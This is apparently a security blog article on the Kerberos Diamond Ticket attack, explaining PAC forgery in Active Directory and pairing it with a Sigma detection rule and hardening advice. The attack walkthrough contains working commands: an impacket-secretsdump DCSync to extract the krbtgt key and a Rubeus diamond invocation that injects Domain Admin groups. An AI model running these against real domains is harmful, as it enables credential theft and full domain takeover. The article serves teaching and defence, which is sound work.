Kerberos Diamond Ticket: Deconstructing TGT PAC Forgery Architecture

Md. Redwan Ahmed Md. Redwan Ahmed
·
Kerberos Diamond Ticket: Deconstructing TGT PAC Forgery Architecture

Overview & Threat Landscape: The Stealth Evolution of Kerberos Ticket Forgery#

Kerberos Diamond Tickets forge high-privilege PACs in real KDC-issued TGTs; rotate krbtgt twice and enforce AES-only Kerberos encryption.

In the architecture of Active Directory Domain Services (AD DS), the Kerberos v5 authentication protocol (defined by RFC 4120 and extended via Microsoft specifications [MS-KILE] and [MS-PAC]) serves as the primary mechanism for mutual identity verification. Within this framework, the Ticket Granting Ticket (TGT) acts as the universal passport for enterprise single sign-on (SSO). Once an authenticated user acquires a TGT from the Key Distribution Center (KDC) running on a Domain Controller, that ticket is presented in subsequent Ticket Granting Service (KRB_TGS_REQ) exchanges to request service tickets (TGS) granting access to specific network resources.

For years, the pinnacle of Active Directory persistence was the Golden Ticket attack. By stealing the password hash of the domain's Key Distribution Center account (krbtgt), an adversary could synthesize a TGT entirely offline from scratch. However, modern security operations centers (SOCs) and Endpoint Detection and Response (EDR) platforms (such as Microsoft Defender for Identity and CrowdStrike) have established highly accurate behavioral detection heuristics to catch Golden Tickets:

  1. The Absence of KDC Pre-Authentication: Traditional Golden Tickets are minted on the attacker's workstation without ever contacting the KDC. When the ticket is presented in a TGS-REQ request, the Domain Controller processes a ticket for which no corresponding Event ID 4768 (A Kerberos authentication ticket (TGT) was requested) exists in the Security event log.
  2. Abnormal Ticket Lifetimes and Timestamps: Attackers historically forged Golden Tickets with preposterously long validity periods (e.g., 10 years), easily flagged by SIEM correlation rules.
  3. Mismatched Encryption and Nonce Artifacts: Minting a ticket offline requires guessing or hardcoding ticket flags, renewal times, and salt values. Subtle deviations between the forged ticket metadata and the specific Domain Controller's native implementation expose the forgery.

To circumvent these detection heuristics, security researcher Charlie Clark introduced the Diamond Ticket attack. Rather than synthesizing a TGT from scratch offline, the adversary requests a completely legitimate, authentic TGT from the KDC over the network for an unprivileged domain user account. The Domain Controller authenticates the user, generates genuine cryptographic nonces, sets realistic ticket lifetimes, and logs a completely valid Event ID 4768 audit event.

The attacker then intercepts the issued TGT, decrypts its encrypted part using the compromised krbtgt AES-256 key, surgically modifies the embedded Privilege Attribute Certificate (PAC) to inject high-privilege Group SIDs (Domain Admins, Enterprise Admins), recalculates the PAC checksums, and re-encrypts the ticket. The resulting ticket—a Diamond Ticket—possesses all the authentic metadata of a legitimate KDC-issued ticket while wielding the unconstrained administrative authority of a Golden Ticket.

🛡️ Blue Team Defense: For detection rules, Sysmon event IDs, and hardening configurations, see our companion guide: Hardening Guide.

MITRE ATT&CK Threat Mapping#

Deconstructing the attack chain of Kerberos Diamond Tickets requires mapping the threat against established enterprise adversary frameworks:

  • T1558.001 (Steal or Forge Kerberos Tickets: Golden Ticket): The adversary leverages compromised krbtgt cryptographic keys to forge administrative authorization data within a Kerberos TGT.
  • T1558 (Steal or Forge Kerberos Tickets): The attacker manipulates Kerberos ticket structures to maintain stealthy persistence and privilege escalation across the domain.
  • T1078.002 (Valid Accounts: Domain Accounts): The adversary utilizes an active, low-privileged domain user account to initiate legitimate pre-authentication exchanges with the KDC.
  • T1068 (Exploitation for Privilege Escalation): The attacker elevates authorization boundaries by modifying embedded group memberships inside the PAC structure.
KERBEROS DIAMOND TICKET ATTACK LANDSCAPE
Legitimate Initiation: Cryptographic Forgery: Stealthy Operational Impact:
Low-Priv User KRB_AS_REQ ➔ Decrypt TGT with krbtgt key ➔ Submit Modified TGT via TGS-REQ
DC Logs Real Event ID 4768 Inject Domain Admins into PAC KDC Accepts Authentic Metadata
PAC Signature Recalculation: Service Ticket Issuance: Ultimate Domain Compromise:
PAC_SERVER_CHECKSUM & ➔ Elevated TGS Issued by KDC ➔ Full Domain Admin Access (cifs/DC)
PAC_PRIVSVR_CHECKSUM HMAC Target Service Grants Root Access Complete Forest Infrastructure

Vulnerability & Attack Root-Cause Analysis: The MS-PAC Structure and Checksum Integrity#

To comprehend why the Diamond Ticket attack succeeds, we must trace how the Microsoft Privilege Attribute Certificate (PAC) is structured, signed, and validated within Kerberos ticket structures.

1. Anatomy of an EncTicketPart and the MS-PAC Buffer#

Under RFC 4120, a Kerberos Ticket consists of a plaintext header and an encrypted payload (enc-part) encrypted under the service's long-term key. For a TGT, this key is the domain's krbtgt account key:

PLAINTEXT 
Ticket ::= [APPLICATION 1] SEQUENCE {
    tkt-vno         [0] INTEGER (5),
    realm           [1] Realm,
    sname           [2] PrincipalName (krbtgt/DOMAIN),
    enc-part        [3] EncryptedData -- Encrypted with krbtgt key
}

When decrypted, EncTicketPart contains:

  • flags: Ticket flags (Forwardable, Renewable, Initial, Pre-authenticated).
  • key: The ephemeral Kerberos Session Key shared between the client and KDC.
  • cname & crealm: The client's identity and domain.
  • authtime, starttime, endtime, renew-till: KDC-generated timestamps.
  • authorization-data: A sequence of typed data buffers containing the Privilege Attribute Certificate (MS-PAC).

2. The MS-PAC Structure & Checksum Architecture#

The PAC is Microsoft's proprietary extension to Kerberos that encodes user identity, group memberships, and user rights. Because services do not communicate with the Domain Controller for every request, they rely on the PAC to determine authorization.

Within the PAC, the primary structure is KERB_VALIDATION_INFO (also known as the PAC Logon Info):

  • UserId: Relative ID (RID) of the user (e.g., 1105 for a standard employee).
  • PrimaryGroupId: Primary group RID (typically 513 for Domain Users).
  • GroupCount & GroupIds: An array of GROUP_MEMBERSHIP structures listing the user's domain groups.
  • ExtraSids: An array of SIDs from external domains or privileged security principals.

To guarantee that a client cannot tamper with their PAC, Microsoft implements two cryptographic signatures:

graph TD
    subgraph "MS-PAC BUFFER STRUCTURE (MS-PAC 2.2)"
        direction TB
        step_1["1. LOGON_INFO (KERB_VALIDATION_INFO): User SID, Group RIDs, UserAccountControl"]
        step_2["2. PAC_CLIENT_INFO: Client Name and Authentication Timestamp"]
        step_3["3. PAC_SERVER_CHECKSUM: HMAC-SHA1-96 of the PAC buffers using the service key (For a TGT, the service is krbtgt, so this is signed by the krbtgt key)"]
        step_4["4. PAC_PRIVSVR_CHECKSUM: HMAC-SHA1-96 of PAC_SERVER_CHECKSUM using krbtgt key"]
        step_1 --> step_2
        step_2 --> step_3
        step_3 --> step_4
    end

3. The Cryptographic Root Cause of the Diamond Ticket#

In a traditional Golden Ticket, the attacker generates an entire PAC from scratch. Because they have the krbtgt key, they sign both PAC_SERVER_CHECKSUM and PAC_PRIVSVR_CHECKSUM.

In a Diamond Ticket, the attacker executes the following cryptographic sequence:

  1. Requests an authentic TGT via standard KRB_AS_REQ for lowpriv_user.
  2. Decrypts EncTicketPart using the compromised krbtgt AES-256 key (aes256-cts-hmac-sha1-96).
  3. Unpacks the authorization-data buffer and locates the KERB_VALIDATION_INFO structure.
  4. Surgically appends privileged RIDs to the GroupIds array:
    • 512: Domain Admins
    • 519: Enterprise Admins
    • 518: Schema Admins
  5. Recalculates PAC_SERVER_CHECKSUM over the modified PAC data using the krbtgt key.
  6. Recalculates PAC_PRIVSVR_CHECKSUM over the new PAC_SERVER_CHECKSUM using the krbtgt key.
  7. Re-encrypts EncTicketPart using the krbtgt key.

When the attacker subsequently transmits this Diamond Ticket in a KRB_TGS_REQ to request access to a server:

  • The KDC decrypts the TGT with its own krbtgt key.
  • The KDC verifies the PAC_PRIVSVR_CHECKSUM using its krbtgt key. The signature is mathematically valid.
  • The KDC verifies the ticket timestamps (authtime, starttime, endtime). They are perfectly valid and match the KDC's exact generation parameters.
  • The KDC issues a high-privilege Service Ticket granting Domain Administrator access.

Exploit Architecture: Attack Flow & Diamond Ticket Transaction Flow#

The following sequence diagram details the end-to-end communication flow between the attacker, the Domain Controller (KDC), the Active Directory database, and the target server:

sequenceDiagram
    autonumber
    actor Attacker as Threat Actor / Red Team
    participant DC as Domain Controller / KDC (:88)
    participant SecLog as Windows Security Log (Event 4768)
    participant Target as Target File Server / DC (cifs)

    Note over Attacker,DC: Phase 1: Legitimate KDC Pre-Authentication
    Attacker->>DC: KRB_AS_REQ (User: lowpriv, Pre-Auth: Encrypted Timestamp)
    DC->>SecLog: Log Event ID 4768 (Audit Success for lowpriv)
    DC-->>Attacker: KRB_AS_REP (Genuine TGT encrypted with krbtgt key)

    Note over Attacker,Attacker: Phase 2: Local Cryptographic Forgery
    Attacker->>Attacker: Decrypt TGT enc-part using compromised krbtgt AES-256 key
    Attacker->>Attacker: Parse MS-PAC & Inject RID 512 (Domain Admins) into GroupIds
    Attacker->>Attacker: Recalculate PAC_SERVER_CHECKSUM & PAC_PRIVSVR_CHECKSUM
    Attacker->>Attacker: Re-encrypt TGT enc-part with krbtgt AES-256 key

    Note over Attacker,DC: Phase 3: High-Privilege TGS Request
    Attacker->>DC: KRB_TGS_REQ (Present Diamond TGT for service cifs/target.corp)
    DC->>DC: Decrypt TGT with krbtgt key and verify PAC signatures & timestamps
    DC-->>Attacker: KRB_TGS_REP (Issue elevated Service Ticket containing Domain Admin PAC)

    Note over Attacker,Target: Phase 4: Administrative Service Execution
    Attacker->>Target: AP-REQ (Present elevated Service Ticket via SMB)
    Target->>Target: Validate Service Ticket & Extract Domain Admin PAC
    Target-->>Attacker: Administrative Session Granted (Full Root Control)

Attack Path Step-by-Step: From Low-Privilege TGT to Full Domain Takeover#

Understanding how red teams and advanced adversaries execute the Diamond Ticket attack requires tracing the exact operational commands and cryptographic parameters.

Step 1: Acquiring the Domain krbtgt AES-256 Hash#

To forge PAC signatures, the attacker must first obtain the krbtgt key (typically via a prior DCSync attack or Active Directory database extraction):

BASH 
# Execute DCSync using Impacket to extract krbtgt AES-256 key
impacket-secretsdump 'CORP.INTERNAL/admin_temp:Password123!@192.168.10.10' -just-dc-user krbtgt

Extracted Credential:

CONSOLE 
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b7c5e8d9a1f2...:::
[+] AES-256 Key: 79f18b3e5a2c4d6f8e12a9b0c7d3e5f1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7

Step 2: Requesting a Legitimate TGT & Synthesizing the Diamond Ticket#

Using Rubeus, the attacker executes the diamond module. The tool sends a genuine KRB_AS_REQ to the KDC, decrypts the returned ticket, injects the desired administrator groups, recalculates the checksums, and imports the ticket into the current logon session:

CMD 
:: Execute Diamond Ticket attack using Rubeus
Rubeus.exe diamond /user:lowpriv_user /password:UserPass123! /domain:corp.internal /dc:dc01.corp.internal /krbtgt:79f18b3e5a2c4d6f8e12a9b0c7d3e5f1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7 /enctype:aes256 /groups:512,519,518 /ptt

Rubeus Terminal Output:

CONSOLE 
______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/ 

[*] Action: Diamond Ticket
[*] Target User: lowpriv_user
[*] Target Domain: corp.internal
[*] Target KDC: dc01.corp.internal

[*] Requesting genuine TGT for lowpriv_user via AS-REQ...
[+] Successfully received AS-REP from KDC!
[*] Decrypting TGT enc-part with krbtgt AES256 key...
[*] Original PAC User: lowpriv_user (RID: 1105)
[*] Injecting extra groups into PAC: 512, 519, 518...
[*] Recalculating PAC_SERVER_CHECKSUM (HMAC-SHA1-96)...
[*] Recalculating PAC_PRIVSVR_CHECKSUM (HMAC-SHA1-96)...
[*] Re-encrypting TGT enc-part with krbtgt AES256 key...

[+] Diamond Ticket successfully forged!
[*] Base64-Encoded Diamond TGT:
    doIFqDCCBaSgAwIBBaEDAgEWooIE...

[+] Ticket successfully imported into current logon session (PTT)!

Step 3: Verifying the Diamond Ticket in Memory (klist)#

Verifying the imported ticket via Windows native klist demonstrates that the ticket appears entirely legitimate:

CMD 
:: Inspect cached Kerberos tickets in current session
klist

Cached Ticket Details:

PLAINTEXT 
#0> Client: lowpriv_user @ CORP.INTERNAL
    Server: krbtgt/CORP.INTERNAL @ CORP.INTERNAL
    KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
    Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
    Start Time: 10/29/2026 2:45:10 (local)
    End Time:   10/29/2026 12:45:10 (local)
    Renew Time: 11/05/2026 2:45:10 (local)
    Session Key Type: AES-256-CTS-HMAC-SHA1-96

Notice that the Start Time, End Time, and Renew Time match standard 10-hour domain policies, and Ticket Flags include authentic initial and pre_authent bits.

Step 4: Requesting Elevated Service Tickets & Domain Takeover#

With the Diamond Ticket in the local Kerberos cache, the attacker requests a service ticket targeting the Primary Domain Controller (DC01):

CMD 
:: Connect to Domain Controller administrative C$ share
dir \\dc01.corp.internal\c$

Domain Controller Audit Event:

  • Event ID 4768 is logged for lowpriv_user (Audit Success).
  • Event ID 4769 is logged for cifs/dc01.corp.internal requesting ticket options 0x40810000.
  • Event ID 4672 (Special privileges assigned to new logon) is logged, granting SeDebugPrivilege, SeBackupPrivilege, and SeRestorePrivilege to lowpriv_user.

The attacker executes remote commands via psexec or WMI, achieving full interactive Domain Admin control over the entire Active Directory forest.

Fast Cyber Defense Morning Takeaways: PAC Validation & Detection Actions#

The Diamond Ticket attack completely bypasses traditional Golden Ticket detection heuristics by leveraging authentic KDC ticket minting while subverting authorization data.

Immediate Action Items for Active Directory Defenders#

  1. Perform Double krbtgt Password Resets: If a domain compromise or credential theft is suspected, the krbtgt account password must be rotated twice (separated by 24 hours to accommodate ticket expiration). Rotating krbtgt invalidates all forged TGTs, Golden Tickets, and Diamond Tickets.
  2. Enforce Kerberos PAC Validation: Ensure all domain controllers have applied the latest Windows Server security updates enforcing strict PAC validation and PAC signature checking ([KB5020805]).
  3. Audit Cross-Reference Between AS-REQ and TGS-REQ Group Claims: Implement SIEM analytics comparing the group memberships asserted in TGS-REQ against the user's authentic Active Directory group memberships queried from LDAP.
  4. Deploy SIEM Detection Telemetry: Implement the Sigma rule provided below to alert on abnormal privilege assignments originating from standard user accounts.

Production Detection Rule: Sigma SIEM Specification#

Deploy the following Sigma rule across centralized SIEM platforms (Splunk, Microsoft Sentinel, Elastic, QRadar) to detect Diamond Ticket abuse where unprivileged accounts acquire sensitive administrative rights during Kerberos service ticket requests:

YAML 
title: Suspicious Kerberos Service Ticket Request with Privilege Discrepancy (Diamond Ticket Indicator)
id: f2b8c1e4-7a9d-4c3e-9f12-d8e7a1b3c5f4
status: production
description: |
    Detects instances where an account typically classified as a low-privilege domain user
    requests a Kerberos service ticket (Event ID 4769) for administrative services (cifs/DC, ldap/DC, krbtgt)
    and receives Special Privileges (Event ID 4672: SeDebugPrivilege, SeTcbPrivilege),
    indicative of Kerberos Diamond Ticket or PAC forgery exploitation.
references:
    - https://www.semperis.com/blog/a-diamond-ticket-in-the-ruff/
    - https://attack.mitre.org/techniques/T1558/001/

tags:
    - attack.credential_access
    - attack.t1558.001
    - attack.privilege_escalation
    - attack.t1068
logsource:
    service: security
    product: windows
detection:
    selection_tgs:
        EventID: 4769
        ServiceName|contains:
            - 'cifs/'
            - 'ldap/'
            - 'krbtgt'
        TicketOptions: '0x40810000'
    selection_priv_assigned:
        EventID: 4672
        PrivilegeList|contains:
            - 'SeDebugPrivilege'
            - 'SeTcbPrivilege'
            - 'SeBackupPrivilege'
    filter_known_admins:
        TargetUserName|contains:
            - 'admin_'
            - 'da_'
            - 'svc_backup'
            - 'Administrator'
    condition: selection_tgs and selection_priv_assigned and not filter_known_admins
falsepositives:
    - Temporary emergency privilege elevation granted legitimately to support personnel via Privileged Access Management (PAM) workflows.
level: high

Executive Takeaway Table: Threat Vectors, Detection Signals, and Primary Mitigations#

The following executive summary consolidates the core attack vectors, observable telemetry signals, and recommended engineering remediations for the Kerberos Diamond Ticket attack:

Attack Vector / Technique Primary Exploitation Mechanism Telemetry & Detection Signal Recommended Mitigation Verification Command
Diamond Ticket Forgery (T1558.001) Low-privilege TGT decrypted, PAC modified with RID 512, re-encrypted via krbtgt Event ID 4672 logged for standard user account immediately following Event 4769 Rotate krbtgt password twice; enforce Kerberos PAC signature validation Get-ADUser krbtgt -Properties PasswordLastSet
KDC AS-REQ Evasion Legitimate KRB_AS_REQ requested from KDC to generate valid Event 4768 Normal Event ID 4768 logged; matches standard workstation IP and nonces SIEM correlation: Compare Event 4768 user groups against Event 4672 privileges Correlate Event 4768 with Event 4672 via LogonID
PAC Checksum Forgery Attacker recalculates PAC_SERVER & PAC_PRIVSVR HMAC checksums Event ID 4769 with unusual PAC buffer size compared to standard domain baseline Enforce Microsoft PAC Validation enforcement mode (KB5020805 / CVE-2022-37967) Verify registry PacSignatureValidationLevel = 3
krbtgt Hash Theft (T1003.006) Attacker steals krbtgt AES-256 key via DCSync or NTDS.dit extraction Replication event: Event ID 4662 logged with DCSync control access rights Restrict Replicating Directory Changes permissions; monitor DCSync Get-Acl "AD:\" | Select-Object -ExpandProperty Access
Administrative TGS Request Elevated Diamond Ticket presented to DC for cifs or ldap access Event ID 4769 with elevated service ticket options from unexpected workstation Enforce Protected Users security group; disable NTLM; isolate Tier 0 assets Get-ADGroupMember "Protected Users"

Authoritative References & Standards#

  1. Semperis Active Directory Research: Diamond Tickets: An Alternative to Golden Tickets — Semperis Threat Research (Charlie Clark)
  2. Microsoft Technical Documentation: [MS-PAC]: Privilege Attribute Certificate Data Structure Specification — Microsoft Learn
  3. Internet Engineering Task Force (IETF): RFC 4120: The Kerberos Network Authentication Service (V5) — IETF RFC 4120
  4. MITRE ATT&CK Framework: Technique T1558.001: Steal or Forge Kerberos Tickets: Golden Ticket — MITRE ATT&CK

Comments

Post a Comment

Drag or use arrow keys to pan • Click outside or press Esc to close